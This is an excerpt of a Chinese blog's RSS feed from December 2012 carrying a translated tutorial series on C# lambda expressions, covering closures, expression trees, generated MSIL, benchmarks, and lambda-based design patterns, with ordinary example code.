&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Utility
{
    public delegate string delLoadData(int number);
    public static delLoadData dLoadData;

    public Utility()
    {

    }

    public static string LoadData(int max)
    {
        string str = string.Empty;

        for (int i = 0; i &amp;lt; max; i++)
                                {
            str += i.ToString();
                                }

        return str;
    }
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;同步调用&lt;/strong&gt;
当点击Get Data Sync按钮的时候。操作和UI在同一个线程里，因此阻塞了UI线程。因此。UI线程会未响应&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private void btnSync_Click(object sender, EventArgs e)
{
    this.Cursor = Cursors.WaitCursor;
    this.txtContents.Text = Utility.LoadData(upCount);
    this.Cursor = Cursors.Default;
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;异步调用&lt;/strong&gt;
使用委托（异步编程模型）&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第六部分</title>
      <link>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</link>
      <pubDate>Fri, 28 Dec 2012 14:24:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;今天武汉地铁通车了，今天介绍一些新的Lambda设计模式，应该是最后一部分了。&lt;/p&gt;
&lt;p&gt;本节介绍一些核心有lambda表达式的模式，我不认为他们完全是新的模式，但是至少我还没有看到有人给他们起过名字，我于是决定尝试取个可能好，也可能不好的名字，这样我起码能很容易的给别人描述，有话在先，许多模式相当强大，但是可能会引入潜在的bug，所以小心为上&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;复杂的多态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式也可以被用来创建一些多态（override），而不用使用abstract或者virtual关键字（当然这并不意味着就不能用），考虑如下的代码片段&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; protected set; }

	public MyBaseClass()
	{
		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}&lt;/pre&gt; 
&lt;p&gt;看起来没什么新的知识，我们创建一个类，里面有一个属性（一个lambda表达式），又一次JavaScript化了，有趣的地方是：属性暴露的这个部分不只是本类可以改变，子类也可以改变，看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyInheritedClass : MyBaseClass
{
	public MyInheritedClass
	{
		SomeAction = () =&amp;gt; {
			//Do something different!
		};
	}
}
&lt;/pre&gt; 
&lt;p&gt;看到了。我们可以改变这个方法。或者进行更精确的操作，这种方法的缺点是我们不能直接访问父类的实现，也就缺乏了基类的能力，因为，这个父类的属性会有同样的值，如果程序员真的需要这样写，我建议你遵循 &lt;em&gt;pattern&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; private set; }

	Stack&amp;lt;Action&amp;gt; previousActions;

	protected void AddSomeAction(Action newMethod)
	{
		previousActions.Push(SomeAction);
		SomeAction = newMethod;
	}

	protected void RemoveSomeAction()
	{
		if(previousActions.Count == 0)
			return;

		SomeAction = previousActions.Pop();
	}

	public MyBaseClass()
	{
		previousActions = new Stack&amp;lt;Action&amp;gt;();

		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}
&lt;/pre&gt; 
&lt;p&gt;这样的话，子类就不得不拥有了 AddSomeAction()  方法，而这个方法是吧当前的方法压入堆栈，那样我们可以恢复之前的状态。&lt;/p&gt;
&lt;p&gt;这种模式我起了一个名字叫做Lambda属性多态模式（LP3），它简单的描述了可以在属性里捕获任何方法。之后可以被子类所设置，栈是这个模式的一个附加品，没有改变我们使用属性来完成的模式目标&lt;/p&gt;
&lt;p&gt;为什么要用这种模式？有几个理由。地一个，因为我们可以用。但是等一等。如果你使用当中不同的属性，这个模式会变得相当棘手，突然，多态变成了一个完全的新方法。但是这也许是一个不同的模式，现在我想说这个模式完成了以前人们认为不可能的事情&lt;/p&gt;
&lt;p&gt;举个例子，你想要（不建议，但是也许对该问题是最优雅的解决方法了。）重写一个静态方法，好吧。静态不可能被继承，原因很简单，师承是对实例对象来说的。而静态方法不属于任何一个实例，对于所有的实例都是一样的。这会引发一个警告，下面的例子也许并不如你所想的结果，因此，除非你非常清楚。否则不要乱用。
看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
	var mother = HotDaughter.Activator().Message;
	//mother = &#34;I am the mother&#34;
	var create = new HotDaughter();
	var daughter = HotDaughter.Activator().Message;
	//daughter = &#34;I am the daughter&#34;
}

class CoolMother
{
	public static Func&amp;lt;CoolMother&amp;gt; Activator { get; protected set; }

	//此处是防止空引用
	static CoolMother()
	{
		Activator = () =&amp;gt; new CoolMother();
	}

	public CoolMother()
	{
		//Message of every mother
		Message = &#34;I am the mother&#34;;
	}

	public string Message { get; protected set; }
}

class HotDaughter : CoolMother
{
	public HotDaughter()
	{
		//一进入构造函数我们设置Activator ...
		Activator = () =&amp;gt; new HotDaughter();
		//Message of every daughter
		Message = &#34;I am the daughter&#34;;
	}
}
&lt;/pre&gt; 
&lt;p&gt;这很简单，希望没有对你产生误导，这种模式有时候会让事情变得异常复杂，这也是为什么我总是避免使用它。不过他很有用。（可以通过该方法构造所有的静态属性和方法，并且可以使你总是获得你感兴趣的那个）只要你不感到头疼，这是解决静态多态性的一个好方法。是的。静态多态性是可能的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第五部分</title>
      <link>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 27 Dec 2012 09:15:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;武汉下雪了。。今天介绍Lambda表达式非常有用的情况。。ps:这个高手之路已经翻译了10000多字了。。疼啊。。&lt;/p&gt;
&lt;p&gt;一些模式比另一些模式有时候更加合适，真正有用的模式是自定义方法表达式，用爱促使话一些对象的部分，我们考虑下面这种情况。&lt;/p&gt;
&lt;p&gt;我们想要创建一个可以处理多种延迟加载的对象，这意味着即时对象已经被实例化了，我们还没有加载所有请求的资源，一个理由就是防止大量的IO操作。（比如通过网络传输），当我们开始使用数据的时候，我们想要确定数据足够新鲜，现在有一些确定的方法可以做这个。并且最有效的显然是实体框架已经用LINQ解决了延迟加载的问题，Iqueryable&lt;T&gt;仅存储了查询，而没有任何无关的数据。一旦我们请求一个结果。不仅仅构造的查询被执行，同时也被以更高效的方式执行，比如一个在远程数据服务器上的SQL查询。&lt;/p&gt;
&lt;p&gt;在这里，我们仅仅想要看看两种情况的不同点，首先，我们查询，一切就绪，查询应该在已经加载了的数据上进行。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class LazyLoad
{
	public LazyLoad()
	{
		Search = query =&amp;gt; {
			var source = Database.SearchQuery(query);

			Search = subquery =&amp;gt; {
				var filtered = source.Filter(subquery);

				foreach(var result in filtered)
					yield return result;
			};

			foreach(var result in source)
				yield return result;
		};
	}

	public Func&amp;lt;string, IEnumerable&amp;lt;ResultObject&amp;gt;&amp;gt; Search { get; private set; }
}
&lt;/pre&gt; 
&lt;p&gt;简单来看，这里我们有两种不他哦你的方法，地一个是我们把数据从数据库里提取出来（也就是Database静态类所做的），然后第二个方法将会过滤从数据库里提取出来的数据。一旦我们将会从我们的第一次查询取得结果，当然我们也可以构造内置的其他方法来重置类的行为，对于工业级的代码，其他的方法也许更加有用。&lt;/p&gt;
&lt;p&gt;另一个例子是初始时间分支，假设我们有一个对象，该对象有个方法叫做Perform(),这个方法可以用来调用一些代码，包含这个方法的对象可以被初始化，初始化有三种方式。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过传递方法来调用&lt;/li&gt;
&lt;li&gt;通过传递一些包含这个方法的对象来调用&lt;/li&gt;
&lt;li&gt;或者通过传递第一种情况下的序列化以后的信息来调用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在我们可以保留所有的三种方式做全局变量。而Perform方法将不得不查看当前的状态（或者是保存在枚举变量里，或者和null进行比较）然后检测被调用的正确的方式，最后调用开始。&lt;/p&gt;
&lt;p&gt;更好的一种方法是吧Perform()方法写成一个属性，这个属性仅仅允许在类里面进行set，它是一个委托类型，现在我们可以在对应的构造方法里面直接设置这个属性，因此，我们可以不用全局变量，也不用担心这个对象是如何实例化的，这种方法更好。&lt;/p&gt;
&lt;p&gt;看一小段简单的代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Example
{
	public Action&amp;lt;object&amp;gt; Perform { get; private set; }

	public Example(Action&amp;lt;object&amp;gt; methodToBeInvoked)
	{
		Perform = methodToBeInvoked;
	}

	//接口
	public Example(IHaveThatFunction mother)
	{
		//传递的对象必须有我们要用的方法
		Perform = mother.TheCorrespondingFunction;
	}

	public Example(string methodSource)
	{
		//Compile方法是任意的。
		Perform = Compile(methodSource);
	}
}
&lt;/pre&gt; 
&lt;p&gt;即时这个例子看起来如我们所愿被构造了。让阿尔。大多数情况下只使用前两种，但是随着领域特性语言，编译器，日志框架，数据访问层和其他很多情况下，通常有很多方式可以完成，但Lambda表达式也许是最优雅的。&lt;/p&gt;
&lt;p&gt;考虑这种情况，我们可以在函数编程领域体会到即时调用方法表达式的好处，我们可以看到C#中IIFE的一种用法。用的不多。但是我认为真的很好。但不是用在这种情况下。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;double, double&amp;gt; myfunc;
var firstValue = (myfunc = (x) =&amp;gt; {
	return 2.0 * x * x - 0.5 * x;
})(1);
var secondValue = myfunc(2);
//...&lt;/pre&gt; 
&lt;p&gt;我们也可以使用即时调用方法来防止一些确定的非静态的方法被重复调用。这就会出现自定义方法和初始时间分支和IIFE的组合使用了。&lt;/p&gt;
&lt;p&gt;下一节介绍一些新的Lambda设计模式&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第四部分</title>
      <link>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</link>
      <pubDate>Mon, 24 Dec 2012 19:20:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;首先祝大家平安夜快乐。本篇介绍一些流行的JavaScript模式。为下一篇打基础&lt;/p&gt;
&lt;p&gt;使用/了解JavaScript的一个好处就是函数的高级用法。。在JavaScript里。函数仅仅是对象。他们可以有赋给他们的属性。而在C#中。我们不能做我们可以在JavaScript的全部事情。但是我们仍然可以做些事情。一个原因是JavaScript在函数里给变量以作用域。因此，不得不通过创建函数，大多数情况是匿名的来定位变量。而在C#中。通过使用块，通过花括号来创建作用域&lt;/p&gt;
&lt;p&gt;当然，换种方式来说。C#中，函数也会给变量作用域。通过使用Lambda表达式。我们通过花括号在其里面创建了一个变量。然而。我们也可以局部的创建作用域。&lt;/p&gt;
&lt;p&gt;我们来看看通过使用Lambda表达式可以实现一些在JavaScript里面有用的模式把。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;回调模式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个模式是个老的模式。事实上。回调模式从.net 的第一版就开始使用了。但是是以一种很简单的方式实现的。而现在。通过使用Lambda表达式。闭包，捕获变量等特性能够允许我们写出如下的代码来。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void CreateTextBox()
{
	var tb = new TextBox();
	tb.IsReadOnly = true;
	tb.Text = &#34;Please wait ...&#34;;
	DoSomeStuff(() =&amp;gt; {
		tb.Text = string.Empty;
		tb.IsReadOnly = false;
	});
}

void DoSomeStuff(Action callback)
{
	// Do some stuff - asynchronous would be helpful ...
	callback();
}&lt;/pre&gt; 
&lt;p&gt;对于JavaScript程序员会觉得这没什么啊。他们使用这个模式太多了。然而，它非常有用。因为我们可以使用参数作为Ajax相关事件的事件处理器（比如oncompleted，onsuccess），等等。如果你使用LINQ，那么你可能也会用到回调模式的一些东西。举个例子。LINQ的where子句将会在每一次迭代中回调你的查询语句。这只是回调函数的一个例子。在.net的世界里。事件如它名字所暗示的那样。通常是事件处理的首选方法。这有时候很像一个回调。他有两个参数。有一个特殊的关键字和一个类型模式（两个参数分别是sender和arguments，sender通常是object类型。Arguments通常继承自EventArgs）
可以通过+= 和-=给事件添加/删除事件处理程序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回方法&lt;/strong&gt;
和普通的方法比较。Lambda表达式也可以返回一个方法指针（就是一个委托实例），这意味着我们可以使用Lambda表达式创建/返回一个lambda表达式（或者今年仅是一个已定义好的方法的委托实例），大量的情况下。这个模式也很有用。首先看一下例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;string, string&amp;gt; SayMyName(string language)
{
	switch(language.ToLower())
	{
		case &#34;fr&#34;:
			return name =&amp;gt; {
				return &#34;Je m&#39;appelle &#34; + name + &#34;.&#34;;
			};
		case &#34;de&#34;:
			return name =&amp;gt; {
				return &#34;Mein Name ist &#34; + name + &#34;.&#34;;
			};
		default:
			return name =&amp;gt; {
				return &#34;My name is &#34; + name + &#34;.&#34;;
			};
	}
}

void Main()
{
	var lang = &#34;de&#34;;
	//Get language - e.g. by current OS settings
	var smn = SayMyName(lang);
	var name = Console.ReadLine();
	var sentence = smn(name);
	Console.WriteLine(sentence);
}&lt;/pre&gt; 
&lt;p&gt;代码本应该更短些。我们可以让default如果请求的语言没有找到。只是抛出一个异常即可。不过。这个例子展示了这是一种方法工厂。另一种同等效果的方法是包含一个Hashtable。或者更好的话用Dictionary&amp;lt;K, V&amp;gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第三部分</title>
      <link>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 20 Dec 2012 20:12:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;背后的秘密-MSIL&lt;/p&gt;
&lt;p&gt;通过著名的LINQPad，我们可以更深入的查看MSIL代码而没有任何秘密。下图是一个LINQPad的使用截图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30624_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2cc26ed754b0ac72d7caf372a917ef44d327d51a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们会看三个例子，第一个Lambda表达式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};&lt;/pre&gt; 
&lt;p&gt;对应的普通函数是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};
&lt;/pre&gt; 
&lt;p&gt;生成的MSIL代码片段如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret         
&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.0     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret       &lt;/pre&gt; 
&lt;p&gt;最大的不同是方法的名称用法不同。而不是声明。事实上。声明是完全一样的。编译器在类里面创建了一个新的方法来实现这个方法。这没什么新东西，仅仅是为了我们使用Lambda表达式方便代码编写。从MSIL代码中，我们做了同样的事情。在当前对象里调用了一个方法。&lt;/p&gt;
&lt;p&gt;我们在下图里演示一下编译器所做的修改。在这个图例。我们可以看到编译器把Lambda表达式移动成了一个固定的方法。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30625_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1500b574e9e4fd0cfb11b286eaff270102810b02.png&#34;&gt;&lt;/a&gt;
第二个例子将展示Lambda表达式真正的奇妙之处，在这个例子里。我们既使用了有着全局变量的普通方法也使用了有捕获变量的Lambda表达式。代码如下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
	int local = 5;

	Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt; {
		Console.WriteLine(s + local);
	};

	global = local;

	DoSomethingLambda(&#34;Test 1&#34;);
	DoSomethingNormal(&#34;Test 2&#34;);
}

int global;

void DoSomethingNormal(string s)
{
	Console.WriteLine(s + global);
}
&lt;/pre&gt; 
&lt;p&gt;没什么不同的似乎。关键是：lambda表达式如何被编译器处理&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;IL_0000:  newobj      UserQuery+&amp;lt;&amp;gt;c__DisplayClass1..ctor
IL_0005:  stloc.1     
IL_0006:  nop         
IL_0007:  ldloc.1     
IL_0008:  ldc.i4.5    
IL_0009:  stfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_000E:  ldloc.1     
IL_000F:  ldftn       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0
IL_0015:  newobj      System.Action&amp;lt;System.String&amp;gt;..ctor
IL_001A:  stloc.0     
IL_001B:  ldarg.0     
IL_001C:  ldloc.1     
IL_001D:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0022:  stfld       UserQuery.global
IL_0027:  ldloc.0     
IL_0028:  ldstr       &#34;Test 1&#34;
IL_002D:  callvirt    System.Action&amp;lt;System.String&amp;gt;.Invoke
IL_0032:  nop         
IL_0033:  ldarg.0     
IL_0034:  ldstr       &#34;Test 2&#34;
IL_0039:  call        UserQuery.DoSomethingNormal
IL_003E:  nop         

DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery.global
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1..ctor:
IL_0000:  ldarg.0     
IL_0001:  call        System.Object..ctor
IL_0006:  ret      
&lt;/pre&gt; 
&lt;p&gt;和第一个例子一样。机制相同。编译器把lambda表达式移动到一个方法里。但是不同的是，编译器这次还生成了一个类。编译器为我们的lambda表达式生成的方法会放在类里，这就给了捕获的变量一个全局的作用域，通过这样。Lambda表达式可以访问局部变量。因为在MSIL里。它是类实例里面的一个全局变量。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第二部分</title>
      <link>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 19 Dec 2012 20:03:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</guid>
      <description>&lt;h1 id=&#34;闭包的影响&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;闭包的影响&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;为了展示闭包的影响，我们看下面这个例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var buttons = new Button[10];

for(var i = 0; i &amp;lt; buttons.Length; i++)
{
	var button = new Button();
	button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
	button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(i.ToString()); };
	buttons[i] = button;
}
//如果我们点击按钮会发生什么&lt;/pre&gt;
&lt;p&gt;这个问题很怪，我在我的JavaScript课程上经常问我的学生。95%的学生会说。显然按钮0显示0，按钮1显示1，等等。而不足5%的学生学习了闭包之后会明白。所有的按钮都会显示10.&lt;/p&gt;
&lt;p&gt;局部变量i的值改变了。并且等于buttons.Length。也就是10了。想要避免这个诡异的情况也很简单。如下就行了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var button = new Button();
var index = i;
button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(index.ToString()); };
buttons[i] = button;&lt;/pre&gt;
&lt;p&gt;问题解决了，但是index变量是一个值类型，因此保留了“全局”i的一个拷贝&lt;/p&gt;
&lt;p&gt;最后一个话题是一个叫做表达式树的东西，他和Lambda表达式协作。并且，他会使得在ASP.NET MVC中的Html扩展方法发生一些很奇妙的东西。关键的问题是：如何发现目标函数&lt;/p&gt;
&lt;p&gt;1. 传递进去的变量的名称是什么
2. 方法的主体是什么
3. 函数体里使用了什么类型&lt;/p&gt;
&lt;p&gt;Expression 解决了这些问题，他允许我们挖掘生成的表达式树，我们也可以执行传递给Func和Action委托的函数，而且，可以在运行时解析Lambda表达式&lt;/p&gt;
&lt;p&gt;我们看一下如何使用Expression 类型的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Expression&amp;lt;Func&amp;lt;MyModel, int&amp;gt;&amp;gt; expr = model =&amp;gt; model.MyProperty;
var member = expr.Body as MemberExpression;
var propertyName = memberExpression.Member.Name; //当 member != null的时候执行  ...&lt;/pre&gt;
&lt;p&gt;这是Expression最简单的用法了。规则也相当直接。通过构建一个Expression类型的对象。编译器为生成的解释树生成一些元数据。这个解释树包含所有相关的信息，比如参数和方法体。&lt;/p&gt;
&lt;p&gt;方法体包含完整的解释树，我们可以访问这些操作。就像完整的语句一样。也可以操作返回指和类型。当然，返回可以为null，无论如此。大多数情况下。我们对表达式很感兴趣。这和ASP.NET MVC中处理Expression类型的方法是很相似的—可以得到使用的参数的名字，而好处是显而易见的。不会出现名称拼写错误了。也就不会出现因此而出现的编译错误了。&lt;/p&gt;
&lt;p&gt;注意：当程序员仅仅对调用的属性的名字感兴趣的时候。有一个更简单，更优雅的解决方案，那就是参数特性CallerMemberName 这个特性可以得到调用方法/属性的名称。而字段被编译器自动填充。因此，如果我们仅仅想知道名字，而不想知道其他更多的信息，那么我我们只需要写出像下面这个例子里的代码就行了。通过调用WhatsMyName() 方法可以返回方法的名字&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string WhatsMyName([CallerMemberName] string callingName = null)
{
    return callingName;
}&lt;/pre&gt;
&lt;h1 id=&#34;lambda表达式的性能&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;Lambda表达式的性能&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;有一个很大的问题：Lambda表达式有多快？好吧。首先，我们期望他们能和我们一般的函数一样快。下一节里。我们会看到Lambda的MSIL代码和普通的函数没有太大的不同。&lt;/p&gt;
&lt;p&gt;最有趣的一个讨论是如果Lambda表达式产生了闭包，将会和使用全局变量的方法一样快。这就产生了一个有趣的问题，和一个区域内局部变量的数目多少会有关系吗？&lt;/p&gt;
&lt;p&gt;我们看看测试代码，通过4个不同的指标，我们可以看到普通方法和Lambda方法的不同。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace LambdaTests
{
	class StandardBenchmark : Benchmark
    {
		const int LENGTH = 100000;
        static double[] A;
		static double[] B;

        static void Init()
        {
            var r = new Random();
            A = new double[LENGTH];
            B = new double[LENGTH];

            for (var i = 0; i &amp;lt; LENGTH; i++)
            {
                A[i] = r.NextDouble();
                B[i] = r.NextDouble();
            }
        }

        static long LambdaBenchmark()
        {
            Func&amp;lt;double&amp;gt; Perform = () =&amp;gt;
            {
                var sum = 0.0;

                for (var i = 0; i &amp;lt; LENGTH; i++)
                    sum += A[i] * B[i];

                return sum;
            };
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = Perform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Lambda-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static long NormalBenchmark()
        {
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = NormalPerform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Normal-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static double NormalPerform()
        {
            var sum = 0.0;

            for (var i = 0; i &amp;lt; LENGTH; i++)
                sum += A[i] * B[i];

            return sum;
        }
    }
}&lt;/pre&gt;
&lt;p&gt;本来用Lambda表达式我们可以把代码写的更好。最终我没有这样做。是为了防止影响看最后的结果。因此，本质上。上述代码里有三个方法
1个是Lambda测试，一个是普通测试，还有一个是在普通测试里调用的方法。而没有的第四个方法其实是我们的lambda表达式。在第一个方法里已经创建了。计算过程很简单，我们随机取数字防止编译器做任何优化。最后我们对普通方法和Lambda方法的不同很有兴趣。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第一部分</title>
      <link>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Tue, 18 Dec 2012 19:38:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;好长时间没发技术文章了，恰好看到一篇非常详细的Lambda文章。一边翻译一边学习。题目好像有点霸气。。&lt;/p&gt;
&lt;h1 id=&#34;介绍&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;Lambda表达式是使代码更加动态，易于扩展并且更加快速（看完本文你就知道原因了）的强有力的工具。也可以用来降低潜在的错误。同时可以利用静态输入和智能提示，就像VS里一样。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Lambda表达式在.net framework 3.5中提出来。并且在LINQ和ASP.NET MVC内部的一些技术中扮演了相当重要的角色。如果你考虑一下ASP.NET MVC中各类控件的实现。你就发现。奥妙就是他们大多使用了Lambda表达式。和Lambda表达式一起，使用Html扩展方法将会使得在后台创建模型成为可能。&lt;/p&gt;
&lt;p&gt;本文会讲到如下的知识。&lt;/p&gt;
&lt;p&gt;1.简短的介绍-Lambda表达式是什么，以及为什么和匿名方法不同（之前我们使用的）
2.走近Lambda表达式的性能-在哪些情况下比起标准方法，Lambda会提高/损失性能
3.深入-Lambda表达式在MSIL代码中是什么样
4.一些来自JS世界的模式映射到C#中
5.那些能够提高性能，并且代码看起来相当舒服的使用Lambda的情况。
6.一些我提出的新模式-当然有可能别人也提出来了。但这是我的思考结果。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果你期望本文是一篇入门教程我可能要让你失望了，除非你真的很优秀并且很聪明，当然我不是这种人，所以我也想提前声明一下：为了读懂这篇文章你可能需要C#的一些高级知识，并且对C#比较了解。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;你应该期望本文试着解释一些事情给你，也会解释一些有趣的问题，至少对我来说是这样的。最后我会展示一些实际的例子和模式，如我所说，Lambda表达式简化了很多情况。因此写显式的模式很有用。&lt;/p&gt;
&lt;h1 id=&#34;背景知识-什么是lambda表达式&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;背景知识-什么是Lambda表达式&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;在C#1.0中，委托被提出了，它使得传递函数成为可能，一句话就是委托就是强类型的函数指针，但委托比指针更强大。一般传递一个函数需要如下几步。
1. 写一个委托（就像一个类）包含返回类型和参数类型
2. 使用委托作为某一个函数的参数类型，这样，该函数就可以接受和委托描述的有着相同签名的函数了
3. 将一个委托类型的函数传递给委托，创建一个委托实例。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
